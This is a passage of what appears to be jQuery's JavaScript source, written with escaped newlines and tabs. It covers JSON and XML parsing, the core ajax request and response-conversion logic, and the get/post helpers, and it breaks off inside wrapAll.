replacements after returning to outermost depth\n\t\tif ( depth === 0 ) {\n\t\t\treturn token;\n\t\t}\n\n\t\t// Commas must not follow \"[\", \"{\", or \",\"\n\t\trequireNonComma = open || comma;\n\n\t\t// Determine new depth\n\t\t// array/object open (\"[\" or \"{\"): depth += true - false (increment)\n\t\t// array/object close (\"]\" or \"}\"): depth += false - true (decrement)\n\t\t// other cases (\",\" or primitive): depth += true - true (numeric cast)\n\t\tdepth += !close - !open;\n\n\t\t// Remove this token\n\t\treturn \"\";\n\t}) ) ?\n\t\t( Function( \"return \" + str ) )() :\n\t\tjQuery.error( \"Invalid JSON: \" + data );\n};\n\n\n// Cross-browser xml parsing\njQuery.parseXML = function( data ) {\n\tvar xml, tmp;\n\tif ( !data || typeof data !== \"string\" ) {\n\t\treturn null;\n\t}\n\ttry {\n\t\tif ( window.DOMParser ) { // Standard\n\t\t\ttmp = new DOMParser();\n\t\t\txml = tmp.parseFromString( data, \"text/xml\" );\n\t\t} else { // IE\n\t\t\txml = new ActiveXObject( \"Microsoft.XMLDOM\" );\n\t\t\txml.async = \"false\";\n\t\t\txml.loadXML( data );\n\t\t}\n\t} catch( e ) {\n\t\txml = undefined;\n\t}\n\tif ( !xml || !xml.documentElement || xml.getElementsByTagName( \"parsererror\" ).length ) {\n\t\tjQuery.error( \"Invalid XML: \" + data );\n\t}\n\treturn xml;\n};\n\n\nvar\n\t// Document location\n\tajaxLocParts,\n\tajaxLocation,\n\n\trhash = /#.*$/,\n\trts = /([?&])_=[^&]*/,\n\trheaders = /^(.*?):[ \\t]*([^\\r\\n]*)\\r?$/mg, // IE leaves an \\r character at EOL\n\t// #7653, #8125, #8152: local protocol detection\n\trlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,\n\trnoContent = /^(?:GET|HEAD)$/,\n\trprotocol = /^\\/\\//,\n\trurl = /^([\\w.+-]+:)(?:\\/\\/(?:[^\\/?#]*@|)([^\\/?#:]*)(?::(\\d+)|)|)/,\n\n\t/* Prefilters\n\t * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example)\n\t * 2) These are called:\n\t *    - BEFORE asking for a transport\n\t *    - AFTER param serialization (s.data is a string if s.processData is true)\n\t * 3) key is the dataType\n\t * 4) the catchall symbol \"*\" can be used\n\t * 5) execution will start with transport dataType and THEN continue down to \"*\" if needed\n\t */\n\tprefilters = {},\n\n\t/* Transports bindings\n\t * 1) key is the dataType\n\t * 2) the catchall symbol \"*\" can be used\n\t * 3) selection will start with transport dataType and THEN go to \"*\" if needed\n\t */\n\ttransports = {},\n\n\t// Avoid comment-prolog char sequence (#10098); must appease lint and evade compression\n\tallTypes = \"*/\".concat(\"*\");\n\n// #8138, IE may throw an exception when accessing\n// a field from window.location if document.domain has been set\ntry {\n\tajaxLocation = location.href;\n} catch( e ) {\n\t// Use the href attribute of an A element\n\t// since IE will modify it given document.location\n\tajaxLocation = document.createElement( \"a\" );\n\tajaxLocation.href = \"\";\n\tajaxLocation = ajaxLocation.href;\n}\n\n// Segment location into parts\najaxLocParts = rurl.exec( ajaxLocation.toLowerCase() ) || [];\n\n// Base \"constructor\" for jQuery.ajaxPrefilter and jQuery.ajaxTransport\nfunction addToPrefiltersOrTransports( structure ) {\n\n\t// dataTypeExpression is optional and defaults to \"*\"\n\treturn function( dataTypeExpression, func ) {\n\n\t\tif ( typeof dataTypeExpression !== \"string\" ) {\n\t\t\tfunc = dataTypeExpression;\n\t\t\tdataTypeExpression = \"*\";\n\t\t}\n\n\t\tvar dataType,\n\t\t\ti = 0,\n\t\t\tdataTypes = dataTypeExpression.toLowerCase().match( rnotwhite ) || [];\n\n\t\tif ( jQuery.isFunction( func ) ) {\n\t\t\t// For each dataType in the dataTypeExpression\n\t\t\twhile ( (dataType = dataTypes[i++]) ) {\n\t\t\t\t// Prepend if requested\n\t\t\t\tif ( dataType.charAt( 0 ) === \"+\" ) {\n\t\t\t\t\tdataType = dataType.slice( 1 ) || \"*\";\n\t\t\t\t\t(structure[ dataType ] = structure[ dataType ] || []).unshift( func );\n\n\t\t\t\t// Otherwise append\n\t\t\t\t} else {\n\t\t\t\t\t(structure[ dataType ] = structure[ dataType ] || []).push( func );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t};\n}\n\n// Base inspection function for prefilters and transports\nfunction inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) {\n\n\tvar inspected = {},\n\t\tseekingTransport = ( structure === transports );\n\n\tfunction inspect( dataType ) {\n\t\tvar selected;\n\t\tinspected[ dataType ] = true;\n\t\tjQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) {\n\t\t\tvar dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR );\n\t\t\tif ( typeof dataTypeOrTransport === \"string\" && !seekingTransport && !inspected[ dataTypeOrTransport ] ) {\n\t\t\t\toptions.dataTypes.unshift( dataTypeOrTransport );\n\t\t\t\tinspect( dataTypeOrTransport );\n\t\t\t\treturn false;\n\t\t\t} else if ( seekingTransport ) {\n\t\t\t\treturn !( selected = dataTypeOrTransport );\n\t\t\t}\n\t\t});\n\t\treturn selected;\n\t}\n\n\treturn inspect( options.dataTypes[ 0 ] ) || !inspected[ \"*\" ] && inspect( \"*\" );\n}\n\n// A special extend for ajax options\n// that takes \"flat\" options (not to be deep extended)\n// Fixes #9887\nfunction ajaxExtend( target, src ) {\n\tvar deep, key,\n\t\tflatOptions = jQuery.ajaxSettings.flatOptions || {};\n\n\tfor ( key in src ) {\n\t\tif ( src[ key ] !== undefined ) {\n\t\t\t( flatOptions[ key ] ? target : ( deep || (deep = {}) ) )[ key ] = src[ key ];\n\t\t}\n\t}\n\tif ( deep ) {\n\t\tjQuery.extend( true, target, deep );\n\t}\n\n\treturn target;\n}\n\n/* Handles responses to an ajax request:\n * - finds the right dataType (mediates between content-type and expected dataType)\n * - returns the corresponding response\n */\nfunction ajaxHandleResponses( s, jqXHR, responses ) {\n\tvar firstDataType, ct, finalDataType, type,\n\t\tcontents = s.contents,\n\t\tdataTypes = s.dataTypes;\n\n\t// Remove auto dataType and get content-type in the process\n\twhile ( dataTypes[ 0 ] === \"*\" ) {\n\t\tdataTypes.shift();\n\t\tif ( ct === undefined ) {\n\t\t\tct = s.mimeType || jqXHR.getResponseHeader(\"Content-Type\");\n\t\t}\n\t}\n\n\t// Check if we're dealing with a known content-type\n\tif ( ct ) {\n\t\tfor ( type in contents ) {\n\t\t\tif ( contents[ type ] && contents[ type ].test( ct ) ) {\n\t\t\t\tdataTypes.unshift( type );\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\t// Check to see if we have a response for the expected dataType\n\tif ( dataTypes[ 0 ] in responses ) {\n\t\tfinalDataType = dataTypes[ 0 ];\n\t} else {\n\t\t// Try convertible dataTypes\n\t\tfor ( type in responses ) {\n\t\t\tif ( !dataTypes[ 0 ] || s.converters[ type + \" \" + dataTypes[0] ] ) {\n\t\t\t\tfinalDataType = type;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif ( !firstDataType ) {\n\t\t\t\tfirstDataType = type;\n\t\t\t}\n\t\t}\n\t\t// Or just use first one\n\t\tfinalDataType = finalDataType || firstDataType;\n\t}\n\n\t// If we found a dataType\n\t// We add the dataType to the list if needed\n\t// and return the corresponding response\n\tif ( finalDataType ) {\n\t\tif ( finalDataType !== dataTypes[ 0 ] ) {\n\t\t\tdataTypes.unshift( finalDataType );\n\t\t}\n\t\treturn responses[ finalDataType ];\n\t}\n}\n\n/* Chain conversions given the request and the original response\n * Also sets the responseXXX fields on the jqXHR instance\n */\nfunction ajaxConvert( s, response, jqXHR, isSuccess ) {\n\tvar conv2, current, conv, tmp, prev,\n\t\tconverters = {},\n\t\t// Work with a copy of dataTypes in case we need to modify it for conversion\n\t\tdataTypes = s.dataTypes.slice();\n\n\t// Create converters map with lowercased keys\n\tif ( dataTypes[ 1 ] ) {\n\t\tfor ( conv in s.converters ) {\n\t\t\tconverters[ conv.toLowerCase() ] = s.converters[ conv ];\n\t\t}\n\t}\n\n\tcurrent = dataTypes.shift();\n\n\t// Convert to each sequential dataType\n\twhile ( current ) {\n\n\t\tif ( s.responseFields[ current ] ) {\n\t\t\tjqXHR[ s.responseFields[ current ] ] = response;\n\t\t}\n\n\t\t// Apply the dataFilter if provided\n\t\tif ( !prev && isSuccess && s.dataFilter ) {\n\t\t\tresponse = s.dataFilter( response, s.dataType );\n\t\t}\n\n\t\tprev = current;\n\t\tcurrent = dataTypes.shift();\n\n\t\tif ( current ) {\n\n\t\t\t// There's only work to do if current dataType is non-auto\n\t\t\tif ( current === \"*\" ) {\n\n\t\t\t\tcurrent = prev;\n\n\t\t\t// Convert response if prev dataType is non-auto and differs from current\n\t\t\t} else if ( prev !== \"*\" && prev !== current ) {\n\n\t\t\t\t// Seek a direct converter\n\t\t\t\tconv = converters[ prev + \" \" + current ] || converters[ \"* \" + current ];\n\n\t\t\t\t// If none found, seek a pair\n\t\t\t\tif ( !conv ) {\n\t\t\t\t\tfor ( conv2 in converters ) {\n\n\t\t\t\t\t\t// If conv2 outputs current\n\t\t\t\t\t\ttmp = conv2.split( \" \" );\n\t\t\t\t\t\tif ( tmp[ 1 ] === current ) {\n\n\t\t\t\t\t\t\t// If prev can be converted to accepted input\n\t\t\t\t\t\t\tconv = converters[ prev + \" \" + tmp[ 0 ] ] ||\n\t\t\t\t\t\t\t\tconverters[ \"* \" + tmp[ 0 ] ];\n\t\t\t\t\t\t\tif ( conv ) {\n\t\t\t\t\t\t\t\t// Condense equivalence converters\n\t\t\t\t\t\t\t\tif ( conv === true ) {\n\t\t\t\t\t\t\t\t\tconv = converters[ conv2 ];\n\n\t\t\t\t\t\t\t\t// Otherwise, insert the intermediate dataType\n\t\t\t\t\t\t\t\t} else if ( converters[ conv2 ] !== true ) {\n\t\t\t\t\t\t\t\t\tcurrent = tmp[ 0 ];\n\t\t\t\t\t\t\t\t\tdataTypes.unshift( tmp[ 1 ] );\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Apply converter (if not an equivalence)\n\t\t\t\tif ( conv !== true ) {\n\n\t\t\t\t\t// Unless errors are allowed to bubble, catch and return them\n\t\t\t\t\tif ( conv && s[ \"throws\" ] ) {\n\t\t\t\t\t\tresponse = conv( response );\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tresponse = conv( response );\n\t\t\t\t\t\t} catch ( e ) {\n\t\t\t\t\t\t\treturn { state: \"parsererror\", error: conv ? e : \"No conversion from \" + prev + \" to \" + current };\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn { state: \"success\", data: response };\n}\n\njQuery.extend({\n\n\t// Counter for holding the number of active queries\n\tactive: 0,\n\n\t// Last-Modified header cache for next request\n\tlastModified: {},\n\tetag: {},\n\n\tajaxSettings: {\n\t\turl: ajaxLocation,\n\t\ttype: \"GET\",\n\t\tisLocal: rlocalProtocol.test( ajaxLocParts[ 1 ] ),\n\t\tglobal: true,\n\t\tprocessData: true,\n\t\tasync: true,\n\t\tcontentType: \"application/x-www-form-urlencoded; charset=UTF-8\",\n\t\t/*\n\t\ttimeout: 0,\n\t\tdata: null,\n\t\tdataType: null,\n\t\tusername: null,\n\t\tpassword: null,\n\t\tcache: null,\n\t\tthrows: false,\n\t\ttraditional: false,\n\t\theaders: {},\n\t\t*/\n\n\t\taccepts: {\n\t\t\t\"*\": allTypes,\n\t\t\ttext: \"text/plain\",\n\t\t\thtml: \"text/html\",\n\t\t\txml: \"application/xml, text/xml\",\n\t\t\tjson: \"application/json, text/javascript\"\n\t\t},\n\n\t\tcontents: {\n\t\t\txml: /xml/,\n\t\t\thtml: /html/,\n\t\t\tjson: /json/\n\t\t},\n\n\t\tresponseFields: {\n\t\t\txml: \"responseXML\",\n\t\t\ttext: \"responseText\",\n\t\t\tjson: \"responseJSON\"\n\t\t},\n\n\t\t// Data converters\n\t\t// Keys separate source (or catchall \"*\") and destination types with a single space\n\t\tconverters: {\n\n\t\t\t// Convert anything to text\n\t\t\t\"* text\": String,\n\n\t\t\t// Text to html (true = no transformation)\n\t\t\t\"text html\": true,\n\n\t\t\t// Evaluate text as a json expression\n\t\t\t\"text json\": jQuery.parseJSON,\n\n\t\t\t// Parse text as xml\n\t\t\t\"text xml\": jQuery.parseXML\n\t\t},\n\n\t\t// For options that shouldn't be deep extended:\n\t\t// you can add your own custom options here if\n\t\t// and when you create one that shouldn't be\n\t\t// deep extended (see ajaxExtend)\n\t\tflatOptions: {\n\t\t\turl: true,\n\t\t\tcontext: true\n\t\t}\n\t},\n\n\t// Creates a full fledged settings object into target\n\t// with both ajaxSettings and settings fields.\n\t// If target is omitted, writes into ajaxSettings.\n\tajaxSetup: function( target, settings ) {\n\t\treturn settings ?\n\n\t\t\t// Building a settings object\n\t\t\tajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) :\n\n\t\t\t// Extending ajaxSettings\n\t\t\tajaxExtend( jQuery.ajaxSettings, target );\n\t},\n\n\tajaxPrefilter: addToPrefiltersOrTransports( prefilters ),\n\tajaxTransport: addToPrefiltersOrTransports( transports ),\n\n\t// Main method\n\tajax: function( url, options ) {\n\n\t\t// If url is an object, simulate pre-1.5 signature\n\t\tif ( typeof url === \"object\" ) {\n\t\t\toptions = url;\n\t\t\turl = undefined;\n\t\t}\n\n\t\t// Force options to be an object\n\t\toptions = options || {};\n\n\t\tvar // Cross-domain detection vars\n\t\t\tparts,\n\t\t\t// Loop variable\n\t\t\ti,\n\t\t\t// URL without anti-cache param\n\t\t\tcacheURL,\n\t\t\t// Response headers as string\n\t\t\tresponseHeadersString,\n\t\t\t// timeout handle\n\t\t\ttimeoutTimer,\n\n\t\t\t// To know if global events are to be dispatched\n\t\t\tfireGlobals,\n\n\t\t\ttransport,\n\t\t\t// Response headers\n\t\t\tresponseHeaders,\n\t\t\t// Create the final options object\n\t\t\ts = jQuery.ajaxSetup( {}, options ),\n\t\t\t// Callbacks context\n\t\t\tcallbackContext = s.context || s,\n\t\t\t// Context for global events is callbackContext if it is a DOM node or jQuery collection\n\t\t\tglobalEventContext = s.context && ( callbackContext.nodeType || callbackContext.jquery ) ?\n\t\t\t\tjQuery( callbackContext ) :\n\t\t\t\tjQuery.event,\n\t\t\t// Deferreds\n\t\t\tdeferred = jQuery.Deferred(),\n\t\t\tcompleteDeferred = jQuery.Callbacks(\"once memory\"),\n\t\t\t// Status-dependent callbacks\n\t\t\tstatusCode = s.statusCode || {},\n\t\t\t// Headers (they are sent all at once)\n\t\t\trequestHeaders = {},\n\t\t\trequestHeadersNames = {},\n\t\t\t// The jqXHR state\n\t\t\tstate = 0,\n\t\t\t// Default abort message\n\t\t\tstrAbort = \"canceled\",\n\t\t\t// Fake xhr\n\t\t\tjqXHR = {\n\t\t\t\treadyState: 0,\n\n\t\t\t\t// Builds headers hashtable if needed\n\t\t\t\tgetResponseHeader: function( key ) {\n\t\t\t\t\tvar match;\n\t\t\t\t\tif ( state === 2 ) {\n\t\t\t\t\t\tif ( !responseHeaders ) {\n\t\t\t\t\t\t\tresponseHeaders = {};\n\t\t\t\t\t\t\twhile ( (match = rheaders.exec( responseHeadersString )) ) {\n\t\t\t\t\t\t\t\tresponseHeaders[ match[1].toLowerCase() ] = match[ 2 ];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tmatch = responseHeaders[ key.toLowerCase() ];\n\t\t\t\t\t}\n\t\t\t\t\treturn match == null ? null : match;\n\t\t\t\t},\n\n\t\t\t\t// Raw string\n\t\t\t\tgetAllResponseHeaders: function() {\n\t\t\t\t\treturn state === 2 ? responseHeadersString : null;\n\t\t\t\t},\n\n\t\t\t\t// Caches the header\n\t\t\t\tsetRequestHeader: function( name, value ) {\n\t\t\t\t\tvar lname = name.toLowerCase();\n\t\t\t\t\tif ( !state ) {\n\t\t\t\t\t\tname = requestHeadersNames[ lname ] = requestHeadersNames[ lname ] || name;\n\t\t\t\t\t\trequestHeaders[ name ] = value;\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// Overrides response content-type header\n\t\t\t\toverrideMimeType: function( type ) {\n\t\t\t\t\tif ( !state ) {\n\t\t\t\t\t\ts.mimeType = type;\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// Status-dependent callbacks\n\t\t\t\tstatusCode: function( map ) {\n\t\t\t\t\tvar code;\n\t\t\t\t\tif ( map ) {\n\t\t\t\t\t\tif ( state < 2 ) {\n\t\t\t\t\t\t\tfor ( code in map ) {\n\t\t\t\t\t\t\t\t// Lazy-add the new callback in a way that preserves old ones\n\t\t\t\t\t\t\t\tstatusCode[ code ] = [ statusCode[ code ], map[ code ] ];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// Execute the appropriate callbacks\n\t\t\t\t\t\t\tjqXHR.always( map[ jqXHR.status ] );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// Cancel the request\n\t\t\t\tabort: function( statusText ) {\n\t\t\t\t\tvar finalText = statusText || strAbort;\n\t\t\t\t\tif ( transport ) {\n\t\t\t\t\t\ttransport.abort( finalText );\n\t\t\t\t\t}\n\t\t\t\t\tdone( 0, finalText );\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\t\t\t};\n\n\t\t// Attach deferreds\n\t\tdeferred.promise( jqXHR ).complete = completeDeferred.add;\n\t\tjqXHR.success = jqXHR.done;\n\t\tjqXHR.error = jqXHR.fail;\n\n\t\t// Remove hash character (#7531: and string promotion)\n\t\t// Add protocol if not provided (#5866: IE7 issue with protocol-less urls)\n\t\t// Handle falsy url in the settings object (#10093: consistency with old signature)\n\t\t// We also use the url parameter if available\n\t\ts.url = ( ( url || s.url || ajaxLocation ) + \"\" ).replace( rhash, \"\" ).replace( rprotocol, ajaxLocParts[ 1 ] + \"//\" );\n\n\t\t// Alias method option to type as per ticket #12004\n\t\ts.type = options.method || options.type || s.method || s.type;\n\n\t\t// Extract dataTypes list\n\t\ts.dataTypes = jQuery.trim( s.dataType || \"*\" ).toLowerCase().match( rnotwhite ) || [ \"\" ];\n\n\t\t// A cross-domain request is in order when we have a protocol:host:port mismatch\n\t\tif ( s.crossDomain == null ) {\n\t\t\tparts = rurl.exec( s.url.toLowerCase() );\n\t\t\ts.crossDomain = !!( parts &&\n\t\t\t\t( parts[ 1 ] !== ajaxLocParts[ 1 ] || parts[ 2 ] !== ajaxLocParts[ 2 ] ||\n\t\t\t\t\t( parts[ 3 ] || ( parts[ 1 ] === \"http:\" ? \"80\" : \"443\" ) ) !==\n\t\t\t\t\t\t( ajaxLocParts[ 3 ] || ( ajaxLocParts[ 1 ] === \"http:\" ? \"80\" : \"443\" ) ) )\n\t\t\t);\n\t\t}\n\n\t\t// Convert data if not already a string\n\t\tif ( s.data && s.processData && typeof s.data !== \"string\" ) {\n\t\t\ts.data = jQuery.param( s.data, s.traditional );\n\t\t}\n\n\t\t// Apply prefilters\n\t\tinspectPrefiltersOrTransports( prefilters, s, options, jqXHR );\n\n\t\t// If request was aborted inside a prefilter, stop there\n\t\tif ( state === 2 ) {\n\t\t\treturn jqXHR;\n\t\t}\n\n\t\t// We can fire global events as of now if asked to\n\t\tfireGlobals = s.global;\n\n\t\t// Watch for a new set of requests\n\t\tif ( fireGlobals && jQuery.active++ === 0 ) {\n\t\t\tjQuery.event.trigger(\"ajaxStart\");\n\t\t}\n\n\t\t// Uppercase the type\n\t\ts.type = s.type.toUpperCase();\n\n\t\t// Determine if request has content\n\t\ts.hasContent = !rnoContent.test( s.type );\n\n\t\t// Save the URL in case we're toying with the If-Modified-Since\n\t\t// and/or If-None-Match header later on\n\t\tcacheURL = s.url;\n\n\t\t// More options handling for requests with no content\n\t\tif ( !s.hasContent ) {\n\n\t\t\t// If data is available, append data to url\n\t\t\tif ( s.data ) {\n\t\t\t\tcacheURL = ( s.url += ( rquery.test( cacheURL ) ? \"&\" : \"?\" ) + s.data );\n\t\t\t\t// #9682: remove data so that it's not used in an eventual retry\n\t\t\t\tdelete s.data;\n\t\t\t}\n\n\t\t\t// Add anti-cache in url if needed\n\t\t\tif ( s.cache === false ) {\n\t\t\t\ts.url = rts.test( cacheURL ) ?\n\n\t\t\t\t\t// If there is already a '_' parameter, set its value\n\t\t\t\t\tcacheURL.replace( rts, \"$1_=\" + nonce++ ) :\n\n\t\t\t\t\t// Otherwise add one to the end\n\t\t\t\t\tcacheURL + ( rquery.test( cacheURL ) ? \"&\" : \"?\" ) + \"_=\" + nonce++;\n\t\t\t}\n\t\t}\n\n\t\t// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.\n\t\tif ( s.ifModified ) {\n\t\t\tif ( jQuery.lastModified[ cacheURL ] ) {\n\t\t\t\tjqXHR.setRequestHeader( \"If-Modified-Since\", jQuery.lastModified[ cacheURL ] );\n\t\t\t}\n\t\t\tif ( jQuery.etag[ cacheURL ] ) {\n\t\t\t\tjqXHR.setRequestHeader( \"If-None-Match\", jQuery.etag[ cacheURL ] );\n\t\t\t}\n\t\t}\n\n\t\t// Set the correct header, if data is being sent\n\t\tif ( s.data && s.hasContent && s.contentType !== false || options.contentType ) {\n\t\t\tjqXHR.setRequestHeader( \"Content-Type\", s.contentType );\n\t\t}\n\n\t\t// Set the Accepts header for the server, depending on the dataType\n\t\tjqXHR.setRequestHeader(\n\t\t\t\"Accept\",\n\t\t\ts.dataTypes[ 0 ] && s.accepts[ s.dataTypes[0] ] ?\n\t\t\t\ts.accepts[ s.dataTypes[0] ] + ( s.dataTypes[ 0 ] !== \"*\" ? \", \" + allTypes + \"; q=0.01\" : \"\" ) :\n\t\t\t\ts.accepts[ \"*\" ]\n\t\t);\n\n\t\t// Check for headers option\n\t\tfor ( i in s.headers ) {\n\t\t\tjqXHR.setRequestHeader( i, s.headers[ i ] );\n\t\t}\n\n\t\t// Allow custom headers/mimetypes and early abort\n\t\tif ( s.beforeSend && ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || state === 2 ) ) {\n\t\t\t// Abort if not done already and return\n\t\t\treturn jqXHR.abort();\n\t\t}\n\n\t\t// aborting is no longer a cancellation\n\t\tstrAbort = \"abort\";\n\n\t\t// Install callbacks on deferreds\n\t\tfor ( i in { success: 1, error: 1, complete: 1 } ) {\n\t\t\tjqXHR[ i ]( s[ i ] );\n\t\t}\n\n\t\t// Get transport\n\t\ttransport = inspectPrefiltersOrTransports( transports, s, options, jqXHR );\n\n\t\t// If no transport, we auto-abort\n\t\tif ( !transport ) {\n\t\t\tdone( -1, \"No Transport\" );\n\t\t} else {\n\t\t\tjqXHR.readyState = 1;\n\n\t\t\t// Send global event\n\t\t\tif ( fireGlobals ) {\n\t\t\t\tglobalEventContext.trigger( \"ajaxSend\", [ jqXHR, s ] );\n\t\t\t}\n\t\t\t// Timeout\n\t\t\tif ( s.async && s.timeout > 0 ) {\n\t\t\t\ttimeoutTimer = setTimeout(function() {\n\t\t\t\t\tjqXHR.abort(\"timeout\");\n\t\t\t\t}, s.timeout );\n\t\t\t}\n\n\t\t\ttry {\n\t\t\t\tstate = 1;\n\t\t\t\ttransport.send( requestHeaders, done );\n\t\t\t} catch ( e ) {\n\t\t\t\t// Propagate exception as error if not done\n\t\t\t\tif ( state < 2 ) {\n\t\t\t\t\tdone( -1, e );\n\t\t\t\t// Simply rethrow otherwise\n\t\t\t\t} else {\n\t\t\t\t\tthrow e;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Callback for when everything is done\n\t\tfunction done( status, nativeStatusText, responses, headers ) {\n\t\t\tvar isSuccess, success, error, response, modified,\n\t\t\t\tstatusText = nativeStatusText;\n\n\t\t\t// Called once\n\t\t\tif ( state === 2 ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// State is \"done\" now\n\t\t\tstate = 2;\n\n\t\t\t// Clear timeout if it exists\n\t\t\tif ( timeoutTimer ) {\n\t\t\t\tclearTimeout( timeoutTimer );\n\t\t\t}\n\n\t\t\t// Dereference transport for early garbage collection\n\t\t\t// (no matter how long the jqXHR object will be used)\n\t\t\ttransport = undefined;\n\n\t\t\t// Cache response headers\n\t\t\tresponseHeadersString = headers || \"\";\n\n\t\t\t// Set readyState\n\t\t\tjqXHR.readyState = status > 0 ? 4 : 0;\n\n\t\t\t// Determine if successful\n\t\t\tisSuccess = status >= 200 && status < 300 || status === 304;\n\n\t\t\t// Get response data\n\t\t\tif ( responses ) {\n\t\t\t\tresponse = ajaxHandleResponses( s, jqXHR, responses );\n\t\t\t}\n\n\t\t\t// Convert no matter what (that way responseXXX fields are always set)\n\t\t\tresponse = ajaxConvert( s, response, jqXHR, isSuccess );\n\n\t\t\t// If successful, handle type chaining\n\t\t\tif ( isSuccess ) {\n\n\t\t\t\t// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.\n\t\t\t\tif ( s.ifModified ) {\n\t\t\t\t\tmodified = jqXHR.getResponseHeader(\"Last-Modified\");\n\t\t\t\t\tif ( modified ) {\n\t\t\t\t\t\tjQuery.lastModified[ cacheURL ] = modified;\n\t\t\t\t\t}\n\t\t\t\t\tmodified = jqXHR.getResponseHeader(\"etag\");\n\t\t\t\t\tif ( modified ) {\n\t\t\t\t\t\tjQuery.etag[ cacheURL ] = modified;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// if no content\n\t\t\t\tif ( status === 204 || s.type === \"HEAD\" ) {\n\t\t\t\t\tstatusText = \"nocontent\";\n\n\t\t\t\t// if not modified\n\t\t\t\t} else if ( status === 304 ) {\n\t\t\t\t\tstatusText = \"notmodified\";\n\n\t\t\t\t// If we have data, let's convert it\n\t\t\t\t} else {\n\t\t\t\t\tstatusText = response.state;\n\t\t\t\t\tsuccess = response.data;\n\t\t\t\t\terror = response.error;\n\t\t\t\t\tisSuccess = !error;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// We extract error from statusText\n\t\t\t\t// then normalize statusText and status for non-aborts\n\t\t\t\terror = statusText;\n\t\t\t\tif ( status || !statusText ) {\n\t\t\t\t\tstatusText = \"error\";\n\t\t\t\t\tif ( status < 0 ) {\n\t\t\t\t\t\tstatus = 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Set data for the fake xhr object\n\t\t\tjqXHR.status = status;\n\t\t\tjqXHR.statusText = ( nativeStatusText || statusText ) + \"\";\n\n\t\t\t// Success/Error\n\t\t\tif ( isSuccess ) {\n\t\t\t\tdeferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] );\n\t\t\t} else {\n\t\t\t\tdeferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] );\n\t\t\t}\n\n\t\t\t// Status-dependent callbacks\n\t\t\tjqXHR.statusCode( statusCode );\n\t\t\tstatusCode = undefined;\n\n\t\t\tif ( fireGlobals ) {\n\t\t\t\tglobalEventContext.trigger( isSuccess ? \"ajaxSuccess\" : \"ajaxError\",\n\t\t\t\t\t[ jqXHR, s, isSuccess ? success : error ] );\n\t\t\t}\n\n\t\t\t// Complete\n\t\t\tcompleteDeferred.fireWith( callbackContext, [ jqXHR, statusText ] );\n\n\t\t\tif ( fireGlobals ) {\n\t\t\t\tglobalEventContext.trigger( \"ajaxComplete\", [ jqXHR, s ] );\n\t\t\t\t// Handle the global AJAX counter\n\t\t\t\tif ( !( --jQuery.active ) ) {\n\t\t\t\t\tjQuery.event.trigger(\"ajaxStop\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn jqXHR;\n\t},\n\n\tgetJSON: function( url, data, callback ) {\n\t\treturn jQuery.get( url, data, callback, \"json\" );\n\t},\n\n\tgetScript: function( url, callback ) {\n\t\treturn jQuery.get( url, undefined, callback, \"script\" );\n\t}\n});\n\njQuery.each( [ \"get\", \"post\" ], function( i, method ) {\n\tjQuery[ method ] = function( url, data, callback, type ) {\n\t\t// shift arguments if data argument was omitted\n\t\tif ( jQuery.isFunction( data ) ) {\n\t\t\ttype = type || callback;\n\t\t\tcallback = data;\n\t\t\tdata = undefined;\n\t\t}\n\n\t\treturn jQuery.ajax({\n\t\t\turl: url,\n\t\t\ttype: method,\n\t\t\tdataType: type,\n\t\t\tdata: data,\n\t\t\tsuccess: callback\n\t\t});\n\t};\n});\n\n// Attach a bunch of functions for handling common AJAX events\njQuery.each( [ \"ajaxStart\", \"ajaxStop\", \"ajaxComplete\", \"ajaxError\", \"ajaxSuccess\", \"ajaxSend\" ], function( i, type ) {\n\tjQuery.fn[ type ] = function( fn ) {\n\t\treturn this.on( type, fn );\n\t};\n});\n\n\njQuery._evalUrl = function( url ) {\n\treturn jQuery.ajax({\n\t\turl: url,\n\t\ttype: \"GET\",\n\t\tdataType: \"script\",\n\t\tasync: false,\n\t\tglobal: false,\n\t\t\"throws\": true\n\t});\n};\n\n\njQuery.fn.extend({\n\twrapAll: function( html ) {\n\t\tif ( jQuery.isFunction( html ) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tjQuery(this).wrapAll( html.call(this, i) );\n\t\t\t});\n\t\t}\n\n\t\tif ( this[0] ) {\n\t\t\t// The elements to wrap the target around\n\t\t\tvar wrap = jQuery( html, this[0].ownerDocument ).eq(0).clone(true);\n\n\t\t\tif ( this[0].parentNode ) {\n\t\t\t\twrap.insertBefore( this[0] 